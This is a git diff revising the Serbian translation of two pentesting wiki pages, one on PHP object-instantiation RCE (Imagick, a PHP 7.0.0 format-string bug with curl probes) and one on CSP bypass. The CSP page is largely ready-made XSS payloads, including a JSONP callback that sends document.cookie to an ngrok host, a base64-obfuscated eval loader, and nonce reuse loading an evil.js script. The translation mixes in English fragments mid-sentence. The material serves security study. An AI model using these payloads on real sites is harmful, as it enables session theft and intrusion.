+Verzije PHP-a do 5.3.22 i 5.4.12 bile su podložne XXE napadima kroz konstruktore `SoapClient` i `SimpleXMLElement`, u zavisnosti od verzije libxml2.

-## RCE putem Imagick ekstenzije
+## RCE via Imagick Extension

-U analizi **zavisnosti projekta**, otkriveno je da se **Imagick** može iskoristiti za **izvršavanje komandi** instanciranjem novih objekata. Ovo predstavlja priliku za iskorišćavanje ranjivosti.
+U analizi zavisnosti projekta otkriveno je da se `Imagick` može iskoristiti za izvršavanje komandi instanciranjem novih objekata. To predstavlja mogućnost za eksploataciju ranjivosti.

 ### VID parser

-Identifikovana je sposobnost VID parsera da piše sadržaj na bilo koju određenu putanju u datotečnom sistemu. To može dovesti do postavljanja PHP shelle u direktorijum koji je dostupan putem veba, čime se postiže Remote Code Execution (RCE).
+Identifikovana je sposobnost VID parser-a da upisuje sadržaj na bilo koju zadatu putanju u datotečnom sistemu. To može dovesti do postavljanja PHP shell-a u direktorijum dostupan preko weba, ostvarujući Remote Code Execution (RCE).

-#### VID Parser + Upload fajlova
+#### VID Parser + File Upload

-Napomenuto je da PHP privremeno skladišti otpremljene fajlove u `/tmp/phpXXXXXX`. VID parser u Imagick-u, koristeći **msl** protokol, može obraditi džoker znakove u putanjama fajlova, olakšavajući prenos privremenog fajla na odabrano mesto. Ova metoda nudi dodatni pristup za postizanje proizvoljnog pisanja fajlova unutar datotečnog sistema.
+Primećeno je da PHP privremeno smešta upload-ovane fajlove u `/tmp/phpXXXXXX`. VID parser u `Imagick`, koristeći `msl` protokol, može da rukuje wildcard-ima u putanjama fajlova, olakšavajući premeštanje privremenog fajla na željenu lokaciju. Ovaj metod nudi dodatni pristup za proizvoljno upisivanje fajlova u datotečni sistem.

 ### PHP Crash + Brute Force

-Metoda opisana u [**originalnom izveštaju**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) uključuje otpremanje fajlova koji izazivaju pad servera pre brisanja. Kroz brute-force napad na ime privremenog fajla, postaje moguće da Imagick izvrši proizvoljan PHP kod. Međutim, ova tehnika se pokazala efikasnom samo u zastareloj verziji ImageMagick-a.
+Metod opisan u [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) uključuje upload fajlova koji izazovu pad servera pre nego što budu obrisani. Brute-forcing imena privremenog fajla može omogućiti `Imagick`-u da izvrši proizvoljan PHP kod. Međutim, ova tehnika je bila efikasna samo u zastareloj verziji ImageMagick-a.

-## Reference
+## Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
+
+Kada korisnički unos kontroliše ime klase (npr. `new $_GET['model']()`), PHP 7.0.0 je uveo privremeni bag tokom refaktorisanja `Throwable` gde je engine pogrešno tretirao ime klase kao printf format string prilikom rezolucije. Ovo omogućava klasične printf-style primitive unutar PHP-a: leaks sa `%p`, kontrolu broja upisa pomoću width specifikatora, i proizvoljne upise sa `%n` protiv in-process pokazivača (na primer, GOT unosi na ELF build-ovima).
+
+Minimalni ranjiv obrazac za reprodukciju:
+```php
+<?php
+$model = $_GET['model'];
+$object = new $model();
+```
+Pregled eksploatacije (iz reference):
+- Leak adrese pomoću `%p` u nazivu klase da biste pronašli zapisivu metu:
+```bash
+curl "http://host/index.php?model=%p-%p-%p"
+# Fatal error includes resolved string with leaked pointers
+```
+- Koristite pozicione parametre i specifikatore širine da postavite tačan broj bajtova, zatim `%n` da upišete tu vrednost na adresu dostupnu na stogu, ciljajući GOT slot (npr. `free`) da ga delimično prepišete u `system`.
+- Okidajte preotetu funkciju prosleđivanjem imena klase koje sadrži shell pipe da biste došli do `system("id")`.
+
+Napomene:
+- Radi samo na PHP 7.0.0 (Bug [#71105](https://bugs.php.net/bug.php?id=71105)); ispravljeno u narednim izdanjima. Ozbiljnost: kritična ako postoji mogućnost proizvoljne instancijacije klase.
+- Tipični payloadi povezuju mnogo `%p` da bi prošli kroz stog, zatim `%.<width>d%<pos>$n` da bi se izvršilo parcijalno prepisivanje.
+
+## References

 - [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)
+- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)

 {{#include ../../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@ -4,11 +4,11 @@

 ## Šta je CSP

-Content Security Policy (CSP) se prepoznaje kao tehnologija pretraživača, prvenstveno usmerena na **zaštitu od napada kao što su cross-site scripting (XSS)**. Funkcioniše tako što definiše i detaljno opisuje puteve i izvore sa kojih se resursi mogu sigurno učitati od strane pretraživača. Ovi resursi obuhvataju niz elemenata kao što su slike, okviri i JavaScript. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa iste domene (self), uključujući inline resurse i izvršavanje string koda putem funkcija kao što su `eval`, `setTimeout` ili `setInterval`.
+Content Security Policy (CSP) je prepoznata kao browser tehnologija, prvenstveno usmerena na **zaštitu od napada kao što je cross-site scripting (XSS)**. Funkcioniše tako što definiše i precizira puteve i izvore sa kojih browser može bezbedno da učitava resurse. Ti resursi obuhvataju elemente poput slika, frejmova i JavaScript-a. Na primer, politika može dozvoliti učitavanje i izvršavanje resursa sa iste domene (self), uključujući inline resurse i izvršavanje string koda putem funkcija kao što su `eval`, `setTimeout`, ili `setInterval`.

-Implementacija CSP se vrši putem **odgovarajućih zaglavlja** ili uključivanjem **meta elemenata u HTML stranicu**. U skladu sa ovom politikom, pretraživači proaktivno sprovode ove odredbe i odmah blokiraju svaku otkrivenu povredu.
+Implementacija CSP se sprovodi putem **response headers** ili uključivanjem **meta elemenata u HTML stranicu**. U skladu sa ovom politikom, browseri proaktivno primenjuju ova pravila i odmah blokiraju svako otkriveno kršenje.

- Implementirano putem odgovarajućeg zaglavlja:
+- Implementirano putem response header-a:
 ```
 Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
 ```
@ -16,16 +16,16 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
 ```xml
 <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
 ```
-### Headers
+### Zaglavlja

-CSP se može primeniti ili pratiti koristeći ove heder-e:
+CSP se može primeniti ili nadgledati korišćenjem ovih zaglavlja:

- `Content-Security-Policy`: Primorava CSP; pregledač blokira sve prekršaje.
- `Content-Security-Policy-Report-Only`: Koristi se za praćenje; izveštava o prekršajima bez blokiranja. Idealno za testiranje u pre-produkcijskim okruženjima.
+- `Content-Security-Policy`: Sprovodi CSP; pregledač blokira bilo koja kršenja.
+- `Content-Security-Policy-Report-Only`: Koristi se za nadgledanje; izveštava o kršenjima bez njihovog blokiranja. Idealan je za testiranje u preprodukcijskim okruženjima.

-### Defining Resources
+### Definisanje resursa

-CSP ograničava porekla za učitavanje aktivnog i pasivnog sadržaja, kontrolišući aspekte kao što su izvršavanje inline JavaScript-a i korišćenje `eval()`. Primer politike je:
+CSP ograničava izvore (origins) za učitavanje i aktivnog i pasivnog sadržaja, kontrolišući aspekte kao što su izvršavanje inline JavaScript-a i upotreba `eval()`. Primer politike je:
 ```bash
 default-src 'none';
 img-src 'self';
@ -39,42 +39,42 @@ object-src 'none';
 ```
 ### Direktive

- **script-src**: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte koje pokreću upravljači događaja ili XSLT stilovi.
- **default-src**: Postavlja podrazumevanu politiku za preuzimanje resursa kada su specifične direktive za preuzimanje odsutne.
- **child-src**: Precizira dozvoljene resurse za web radnike i sadržaje u ugnježdenim okvirima.
- **connect-src**: Ograničava URL-ove koji se mogu učitati koristeći interfejse kao što su fetch, WebSocket, XMLHttpRequest.
- **frame-src**: Ograničava URL-ove za okvire.
- **frame-ancestors**: Precizira koji izvori mogu ugraditi trenutnu stranicu, primenljivo na elemente kao što su `<frame>`, `<iframe>`, `<object>`, `<embed>`, i `<applet>`.
+- **script-src**: Dozvoljava specifične izvore za JavaScript, uključujući URL-ove, inline skripte i skripte pokrenute event handler-ima ili XSLT stylesheet-ima.
+- **default-src**: Postavlja podrazumevanu politiku za preuzimanje resursa kada specifične fetch direktive nedostaju.
+- **child-src**: Specifikuje dozvoljene resurse za web workere i ugrađeni sadržaj frejmova.
+- **connect-src**: Ograničava URL-ove koji se mogu učitati korišćenjem interfejsa kao što su fetch, WebSocket, XMLHttpRequest.
+- **frame-src**: Ograničava URL-ove za frejmove.
+- **frame-ancestors**: Specifikuje koji izvori mogu da ugrade trenutnu stranicu, primenljivo na elemente kao što su `<frame>`, `<iframe>`, `<object>`, `<embed>`, i `<applet>`.
 - **img-src**: Definiše dozvoljene izvore za slike.
- **font-src**: Precizira validne izvore za fontove učitane koristeći `@font-face`.
- **manifest-src**: Definiše dozvoljene izvore datoteka manifest aplikacije.
+- **font-src**: Specifikuje validne izvore za fontove učitane pomoću `@font-face`.
+- **manifest-src**: Definiše dozvoljene izvore manifest fajlova aplikacija.
 - **media-src**: Definiše dozvoljene izvore za učitavanje medijskih objekata.
- **object-src**: Definiše dozvoljene izvore za elemente `<object>`, `<embed>`, i `<applet>`.
- **base-uri**: Precizira dozvoljene URL-ove za učitavanje koristeći `<base>` elemente.
- **form-action**: Navodi validne krajnje tačke za slanje obrazaca.
- **plugin-types**: Ograničava mime tipove koje stranica može da pozove.
- **upgrade-insecure-requests**: Naređuje pretraživačima da prepišu HTTP URL-ove na HTTPS.
- **sandbox**: Primena ograničenja sličnih sandbox atributu `<iframe>`.
- **report-to**: Precizira grupu kojoj će izveštaj biti poslat ako se politika prekrši.
- **worker-src**: Precizira validne izvore za Worker, SharedWorker, ili ServiceWorker skripte.
- **prefetch-src**: Precizira validne izvore za resurse koji će biti preuzeti ili unapred preuzeti.
- **navigate-to**: Ograničava URL-ove na koje dokument može da navigira na bilo koji način (a, obrazac, window.location, window.open, itd.)
+- **object-src**: Definiše dozvoljene izvore za `<object>`, `<embed>`, i `<applet>` elemente.
+- **base-uri**: Specifikuje dozvoljene URL-ove za učitavanje pomoću `<base>` elemenata.
+- **form-action**: Navodi validne endpoint-e za slanje formi.
+- **plugin-types**: Ograničava mime tipove koje stranica može pozvati.
+- **upgrade-insecure-requests**: Upućuje browsere da prerade HTTP URL-ove u HTTPS.
+- **sandbox**: Primjenjuje ograničenja slična sandbox atributu `<iframe>`-a.
+- **report-to**: Specifikuje grupu kojoj će biti poslat report ako je politika prekršena.
+- **worker-src**: Specifikuje validne izvore za Worker, SharedWorker, ili ServiceWorker skripte.
+- **prefetch-src**: Specifikuje validne izvore za resurse koji će biti fetched ili prefetched.
+- **navigate-to**: Ograničava URL-ove na koje dokument može navigirati bilo kojim sredstvima (a, form, window.location, window.open, itd.)

 ### Izvori

 - `*`: Dozvoljava sve URL-ove osim onih sa `data:`, `blob:`, `filesystem:` shemama.
 - `'self'`: Dozvoljava učitavanje sa iste domene.
- `'data'`: Dozvoljava resursima da se učitavaju putem data sheme (npr., Base64 kodirane slike).
- `'none'`: Blokira učitavanje sa bilo kog izvora.
- `'unsafe-eval'`: Dozvoljava korišćenje `eval()` i sličnih metoda, ne preporučuje se iz bezbednosnih razloga.
- `'unsafe-hashes'`: Omogućava specifične inline upravljače događaja.
- `'unsafe-inline'`: Dozvoljava korišćenje inline resursa kao što su inline `<script>` ili `<style>`, ne preporučuje se iz bezbednosnih razloga.
- `'nonce'`: Lista dozvoljenih inline skripti koristeći kriptografski nonce (broj koji se koristi jednom).
- Ako imate ograničeno izvršavanje JS-a, moguće je dobiti korišćen nonce unutar stranice sa `doc.defaultView.top.document.querySelector("[nonce]")` i zatim ga ponovo koristiti za učitavanje maliciozne skripte (ako se koristi strict-dynamic, bilo koji dozvoljeni izvor može učitati nove izvore pa ovo nije potrebno), kao u:
+- `'data'`: Dozvoljava učitavanje resursa putem data sheme (npr. Base64 enkodirane slike).
+- `'none'`: Blokira učitavanje iz bilo kog izvora.
+- `'unsafe-eval'`: Dozvoljava korišćenje `eval()` i sličnih metoda, ne preporučuje se zbog bezbednosnih razloga.
+- `'unsafe-hashes'`: Omogućava specifične inline event handler-e.
+- `'unsafe-inline'`: Dozvoljava korišćenje inline resursa kao što su inline `<script>` ili `<style>`, ne preporučuje se zbog bezbednosti.
+- `'nonce'`: Bela lista za specifične inline skripte koristeći kriptografski nonce (broj koji se koristi jednom).
+- Ako imate ograničeno izvršavanje JS-a, moguće je dobiti korišćeni nonce unutar stranice pomoću `doc.defaultView.top.document.querySelector("[nonce]")` i potom ga ponovo upotrebiti za učitavanje maliciozne skripte (ako se koristi strict-dynamic, bilo koji dozvoljeni izvor može učitati nove izvore tako da ovo nije potrebno), kao u:

 <details>

-<summary>Učitaj skriptu ponovo koristeći nonce</summary>
+<summary>Učitavanje skripte ponovnim korišćenjem nonce-a</summary>
 ```html
 <!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
 <img
@ -88,27 +88,28 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 ```
 </details>

- `'sha256-<hash>'`: Beleži skripte sa specifičnim sha256 hash-om.
- `'strict-dynamic'`: Omogućava učitavanje skripti iz bilo kog izvora ako je beljen od strane nonce-a ili hash-a.
- `'host'`: Precizira određeni host, kao što je `example.com`.
+- `'sha256-<hash>'`: Dozvoljava skripte koje imaju određeni sha256 hash.
+- `'strict-dynamic'`: Dozvoljava učitavanje skripti sa bilo kog izvora ako su prethodno odobrene nonce-om ili hash-om.
+- `'host'`: Navodi određeni host, na primer `example.com`.
 - `https:`: Ograničava URL-ove na one koji koriste HTTPS.
- `blob:`: Omogućava učitavanje resursa sa Blob URL-ova (npr., Blob URL-ovi kreirani putem JavaScript-a).
- `filesystem:`: Omogućava učitavanje resursa sa datotečnog sistema.
- `'report-sample'`: Uključuje uzorak kršećeg koda u izveštaju o kršenju (korisno za debagovanje).
- `'strict-origin'`: Slično 'self', ali osigurava da nivo bezbednosti protokola izvora odgovara dokumentu (samo sigurni izvori mogu učitavati resurse sa sigurnih izvora).
- `'strict-origin-when-cross-origin'`: Šalje pune URL-ove prilikom pravljenja zahteva istog porekla, ali šalje samo poreklo kada je zahtev međuporeklo.
- `'unsafe-allow-redirects'`: Omogućava učitavanje resursa koji će odmah preusmeriti na drugi resurs. Nije preporučljivo jer slabi bezbednost.
+- `blob:`: Dozvoljava učitavanje resursa sa Blob URL-ova (npr. Blob URL-ovi kreirani putem JavaScript).
+- `filesystem:`: Dozvoljava učitavanje resursa iz datotečnog sistema.
+- `'report-sample'`: Uključuje uzorak kršećeg koda u izveštaj o kršenju (korisno za otklanjanje grešaka).
+- `'strict-origin'`: Slično 'self' ali osigurava da nivo bezbednosti protokola izvora odgovara dokumentu (samo sigurni origin-i mogu učitavati resurse sa sigurnih origin-a).
+- `'strict-origin-when-cross-origin'`: Šalje pune URL-ove za same-origin zahteve, ali šalje samo origin za cross-origin zahteve.
+- `'unsafe-allow-redirects'`: Dozvoljava učitavanje resursa koji će odmah preusmeriti na drugi resurs. Ne preporučuje se jer slabi bezbednost.

-## Unsafe CSP Rules
+## Nesigurna CSP pravila

 ### 'unsafe-inline'
 ```yaml
 Content-Security-Policy: script-src https://google.com 'unsafe-inline';
 ```
-Radni payload: `"/><script>alert(1);</script>`
+Funkcionalan payload: `"/><script>alert(1);</script>`

 #### self + 'unsafe-inline' putem Iframes

+
 {{#ref}}
 csp-bypass-self-+-unsafe-inline-with-iframes.md
 {{#endref}}
@ -116,7 +117,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
 ### 'unsafe-eval'

 > [!CAUTION]
-> Ovo ne funkcioniše, za više informacija [**proverite ovo**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
+> Ovo ne radi, za više informacija [**pogledajte ovo**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
 ```yaml
 Content-Security-Policy: script-src https://google.com 'unsafe-eval';
 ```
@ -126,7 +127,7 @@ Radni payload:
 ```
 ### strict-dynamic

-Ako možete na neki način da omogućite **dozvoljenom JS kodu da kreira novu script tag** u DOM-u sa vašim JS kodom, zato što ga dozvoljeni skript kreira, **nova script tag će biti dozvoljena za izvršavanje**.
+Ako na neki način uspete da naterate **allowed JS code created a new script tag** u DOM sa vašim JS kodom — pošto ga kreira dozvoljeni script — **new script tag will be allowed to be executed**.

 ### Wildcard (\*)
 ```yaml
@ -139,44 +140,44 @@ Radni payload:
 ```
 ### Nedostatak object-src i default-src

-> [!CAUTION] > **Izgleda da ovo više ne funkcioniše**
+> [!CAUTION] > **Izgleda da ovo više ne radi**
 ```yaml
 Content-Security-Policy: script-src 'self' ;
 ```
-Radni payloadi:
+Radni payloads:
 ```html
 <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
 ">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
 <param name="AllowScriptAccess" value="always"></object>
 ```
-### Upload fajlova + 'self'
+### Otpremanje fajla + 'self'
 ```yaml
 Content-Security-Policy: script-src 'self';  object-src 'none' ;
 ```
-Ako možete da otpremite JS datoteku, možete zaobići ovaj CSP:
+Ako možete otpremiti JS fajl, možete zaobići ovu CSP:

 Radni payload:
 ```html
 "/>'><script src="/uploads/picture.png.js"></script>
 ```
-Međutim, veoma je verovatno da server **validira otpremnenu datoteku** i da će vam dozvoliti da **otpremite određene tipove datoteka**.
+Međutim, vrlo je verovatno da server **validira otpremljenu datoteku** i da će vam dozvoliti da **otpremite samo određene tipove fajlova**.

-Štaviše, čak i ako biste mogli da otpremite **JS kod unutar** datoteke koristeći ekstenziju koju server prihvata (kao što je: _script.png_), to neće biti dovoljno jer neki serveri poput apache servera **biraju MIME tip datoteke na osnovu ekstenzije** i pregledači poput Chrome-a će **odbiti da izvrše Javascript** kod unutar nečega što bi trebalo da bude slika. "Nadamo se", postoje greške. Na primer, iz jednog CTF-a sam saznao da **Apache ne prepoznaje** ekstenziju _**.wave**_, stoga je ne servira sa **MIME tipom kao audio/\***.
+Štaviše, čak i ako biste mogli da otpremite **JS kod unutar** fajla koristeći ekstenziju koju server prihvata (npr. _script.png_) to neće biti dovoljno, jer neki serveri, kao apache server, **select MIME type of the file based on the extension** i pregledači poput Chrome će **reject to execute Javascript** kod unutar nečega što bi trebalo da bude slika. "Srećom", postoje greške. Na primer, iz CTF-a sam naučio da **Apache doesn't know** ekstenziju _**.wave**_, te je ne servira sa **MIME type like audio/***.

-Odavde, ako pronađete XSS i otpremanje datoteka, i uspete da pronađete **pogrešno interpretiranu ekstenziju**, mogli biste pokušati da otpremite datoteku sa tom ekstenzijom i sadržajem skripte. Ili, ako server proverava ispravan format otpremne datoteke, kreirajte poliglot ([neki primeri poliglotova ovde](https://github.com/Polydet/polyglot-database)).
+Ako pronađete XSS i mogućnost upload-a fajla, i uspete da nađete **pogrešno interpretiranu ekstenziju**, možete pokušati da otpremite fajl sa tom ekstenzijom koji sadrži sadržaj skripte. Ili, ako server proverava ispravan format otpremljene datoteke, napravite polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).

 ### Form-action

-Ako nije moguće injektovati JS, još uvek možete pokušati da eksfiltrirate, na primer, kredencijale **injektovanjem akcije forme** (i možda očekujući da menadžeri lozinki automatski popune lozinke). Možete pronaći [**primer u ovom izveštaju**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Takođe, primetite da `default-src` ne pokriva akcije formi.
+Ako nije moguće injektovati JS, i dalje možete pokušati da, na primer, eksfiltrujete kredencijale **ubacivanjem form action** (i možda očekujući da password manageri automatski popune lozinke). Možete pronaći [**primer u ovom izveštaju**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Takođe, imajte na umu da `default-src` ne pokriva form actions.

-### Treće strane + ('unsafe-eval')
+### Third Party Endpoints + ('unsafe-eval')

 > [!WARNING]
-> Za neke od sledećih payload-a **`unsafe-eval` čak nije ni potreban**.
+> Za neke od sledećih payload-ova **`unsafe-eval` čak i nije potreban**.
 ```yaml
 Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
 ```
-Učitajte ranjivu verziju angulera i izvršite proizvoljni JS:
+Učitaj ranjivu verziju angular i izvrši proizvoljan JS:
 ```xml
 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
 <div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
@ -197,10 +198,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
 >
 ```
-#### Payloads using Angular + a library with functions that return the `window` object ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
+#### Payloads koji koriste Angular + biblioteku sa funkcijama koje vraćaju `window` objekat ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):

 > [!TIP]
-> Post pokazuje da možete **učitati** sve **biblioteke** sa `cdn.cloudflare.com` (ili bilo kog drugog dozvoljenog JS repozitorijuma), izvršiti sve dodate funkcije iz svake biblioteke i proveriti **koje funkcije iz kojih biblioteka vraćaju `window` objekat**.
+> Post pokazuje da možete **učitati** sve **biblioteke** sa `cdn.cloudflare.com` (ili bilo kog drugog dozvoljenog JS libraries repo), izvršiti sve dodate funkcije iz svake biblioteke i proveriti **koje funkcije iz kojih biblioteka vraćaju `window` objekat**.
 ```html
 <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@ -224,15 +225,15 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 {{[].erase.call().alert('xss')}}
 </div>
 ```
-Angular XSS iz imena klase:
+Angular XSS iz naziva klase:
 ```html
 <div ng-app>
 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
 </div>
 ```
-#### Zloupotreba google recaptcha JS koda
+#### Zloupotreba google recaptcha JS code

-Prema [**ovom CTF izveštaju**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves), možete zloupotrebiti [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) unutar CSP-a da izvršite proizvoljan JS kod zaobilaženjem CSP-a:
+Prema [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) možete zloupotrebiti [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) unutar CSP-a da izvršite proizvoljni JS code zaobilaženjem CSP-a:
 ```html
 <div
 ng-controller="CarouselController as c"
@ -243,7 +244,7 @@ ng-init="c.init()"

 <script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
 ```
-Više [**payloads iz ovog izveštaja**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
+Više [**payloads from this writeup**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
 ```html
 <script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

@ -260,21 +261,21 @@ b=doc.createElement("script");
 b.src="//example.com/evil.js";
 b.nonce=a.nonce; doc.body.appendChild(b)' />
 ```
-#### Zloupotreba www.google.com za otvoreni preusmeravanje
+#### Zloupotreba www.google.com za open redirect

-Sledeći URL preusmerava na example.com (iz [ovde](https://www.landh.tech/blog/20240304-google-hack-50000/)):
+Sledeći URL preusmerava na example.com (iz [here](https://www.landh.tech/blog/20240304-google-hack-50000/)):
 ```
 https://www.google.com/amp/s/example.com/
 ```
 Zloupotreba \*.google.com/script.google.com

-Moguće je zloupotrebiti Google Apps Script da se primi informacija na stranici unutar script.google.com. Kao što je [urađeno u ovom izveštaju](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).
+Moguće je zloupotrebiti Google Apps Script kako bi se primile informacije na stranici unutar script.google.com. Kao što je [prikazano u ovom izveštaju](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/).

-### Treće strane + JSONP
+### Endpointi trećih strana + JSONP
 ```http
 Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 ```
-Scenariji poput ovog gde je `script-src` postavljen na `self` i određenu domenu koja je na beloj listi mogu se zaobići korišćenjem JSONP. JSONP krajnje tačke omogućavaju nesigurne callback metode koje omogućavaju napadaču da izvrši XSS, radni payload:
+Scenariji poput ovog, gde je `script-src` postavljen na `self` i određeni domen koji je whitelisted, mogu se zaobići korišćenjem JSONP. JSONP endpoints dozvoljavaju insecure callback methods koje napadaču omogućavaju izvođenje XSS-a, working payload:
 ```html
 "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
 "><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@ -288,16 +289,16 @@ https://www.youtube.com/oembed?callback=alert;
 ```html
 <script type="text/javascript" crossorigin="anonymous" src="https://accounts.google.com/o/oauth2/revoke?callback=eval(atob(%27KGZ1bmN0aW9uKCl7CiBsZXQgdnIgPSAoKT0%2Be3dpdGgobmV3IHRvcFsnVydbJ2NvbmNhdCddKCdlYicsJ1MnLCdjZycmJidvY2snfHwncGsnLCdldCcpXSgndydbJ2NvbmNhdCddKCdzcycsJzpkZWZkZWYnLCdsaScsJ3ZlY2hhdGknLCduYycsJy4nfHwnOycsJ25ldHdvcmtkZWZjaGF0cGlwZWRlZjAyOWRlZicpWydzcGxpdCddKCdkZWYnKVsnam9pbiddKCIvIikpKShvbm1lc3NhZ2U9KGUpPT5uZXcgRnVuY3Rpb24oYXRvYihlWydkYXRhJ10pKS5jYWxsKGVbJ3RhcmdldCddKSl9O25hdmlnYXRvclsnd2ViZHJpdmVyJ118fChsb2NhdGlvblsnaHJlZiddWydtYXRjaCddKCdjaGVja291dCcpJiZ2cigpKTsKfSkoKQ%3D%3D%27));"></script>
 ```
-[**JSONBee**](https://github.com/zigoo0/JSONBee) **sadrži spremne JSONP krajnje tačke za CSP zaobilaženje različitih veb sajtova.**
+[**JSONBee**](https://github.com/zigoo0/JSONBee) **sadrži spremne za upotrebu JSONP endpoint-e za CSP bypass različitih sajtova.**

-Ista ranjivost će se pojaviti ako **pouzdana krajnja tačka sadrži Open Redirect** jer ako je inicijalna krajnja tačka pouzdana, preusmeravanja su pouzdana.
+Ista ranjivost će se pojaviti ako **trusted endpoint sadrži Open Redirect** jer ako je početni endpoint trusted, redirects su takođe trusted.

 ### Zloupotrebe trećih strana

-Kao što je opisano u [sledećem postu](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), postoji mnogo domena trećih strana, koje mogu biti dozvoljene negde u CSP-u, a mogu se zloupotrebiti za eksfiltraciju podataka ili izvršavanje JavaScript koda. Neki od ovih trećih strana su:
+Kao što je opisano u [sledećem postu](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), postoji mnogo domena trećih strana koje mogu biti dozvoljene u CSP-u i koje se mogu zloupotrebiti za exfiltrate data ili izvršavanje JavaScript koda. Neki od ovih su:

 | Entitet           | Dozvoljeni domen                             | Mogućnosti  |
-| ----------------- | ---------------------------------------------- | ------------ |
+| ----------------- | -------------------------------------------- | ----------- |
 | Facebook          | www.facebook.com, \*.facebook.com            | Exfil       |
 | Hotjar            | \*.hotjar.com, ask.hotjar.io                 | Exfil       |
 | Jsdelivr          | \*.jsdelivr.com, cdn.jsdelivr.net            | Exec        |
@ -307,90 +308,92 @@ Kao što je opisano u [sledećem postu](https://sensepost.com/blog/2023/dress-co
 | Salesforce Heroku | \*.herokuapp.com                             | Exfil, Exec |
 | Google Firebase   | \*.firebaseapp.com                           | Exfil, Exec |

-Ako pronađete bilo koji od dozvoljenih domena u CSP-u vašeg cilja, postoji šansa da biste mogli da zaobiđete CSP registracijom na usluzi treće strane i, ili eksfiltrirate podatke na tu uslugu ili izvršite kod.
+Ako pronađete bilo koji od dozvoljenih domena u CSP-u vašeg cilja, velike su šanse da možete izvesti CSP bypass registracijom na third-party servisu i ili exfiltrate data na taj servis ili izvršiti kod.

 Na primer, ako pronađete sledeći CSP:
 ```
 Content-Security-Policy: default-src 'self’ www.facebook.com;
 ```
-или
+ili
 ```
 Content-Security-Policy: connect-src www.facebook.com;
 ```
-Treba da budete u mogućnosti da exfiltrirate podatke, slično kao što je oduvek rađeno sa [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). U ovom slučaju, pratite ove opšte korake:
+Treba da budete u mogućnosti da exfiltrate data, slično kao što je oduvek rađeno sa [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/). U ovom slučaju, pratite sledeće opšte korake:

-1. Napravite Facebook Developer nalog ovde.
-2. Napravite novu aplikaciju "Facebook Login" i izaberite "Website".
-3. Idite na "Settings -> Basic" i dobijte svoj "App ID".
